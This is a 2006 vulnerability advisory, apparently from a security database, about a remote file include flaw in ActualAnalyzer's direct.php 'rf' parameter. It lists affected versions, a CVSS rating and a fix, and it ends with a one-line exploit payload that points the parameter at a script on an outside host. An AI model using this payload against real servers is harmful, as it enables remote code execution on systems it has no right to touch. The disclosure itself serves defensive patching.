ActualAnalyzer - Remote File Include Vulnerability

2006.04.19
Credit: Aesthetico
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


Ogólna skala CVSS: 7.5/10
Znaczenie: 6.4/10
Łatwość wykorzystania: 10/10
Wymagany dostęp: Zdalny
Złożoność ataku: Niska
Autoryzacja: Nie wymagana
Wpływ na poufność: Częściowy
Wpływ na integralność: Częściowy
Wpływ na dostępność: Częściowy

[MajorSecurity]ActualAnalyzer - Remote File Include Vulnerability ----------------------------------------------------------- Software: ActualAnalyzer Type: Remote File Include Vulnerability Date: April, 19th 2006 Vendor: ActualScripts Page: http://actualscripts.com Risc: High Credits: ---------------------------- Discovered by: 'Aesthetico' http://www.majorsecurity.de Affected Products: ---------------------------- ActualAnalyzer Lite 2.72 and prior ActualAnalyzer Gold 7.63 and prior ActualAnalyzer Server 8.23 and prior Description: ---------------------------- ActualAnalyzer is a powerful statistics-gathering and analysis tool for monitoring web site traffic. It is equally effective for sites with low and high volumes of traffic and provides a wealth of comparative and analytical information. High performance is achieved by using a MySQL database. Requirements: ---------------------------- register_globals = On Vulnerability: ---------------------------- Input passed to the "rf" parameter in "direct.php" is not properly verified, before it is used to include files. This can be exploited to include arbitrary files from external resources. Solution: ---------------------------- Edit the source code to ensure that input is properly sanitised. Set "register_globals" to "Off". Exploitation: ---------------------------- Post data: rf=http://www.yourspace.com/yourscript.php?


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2024, cxsecurity.com

 

Back to Top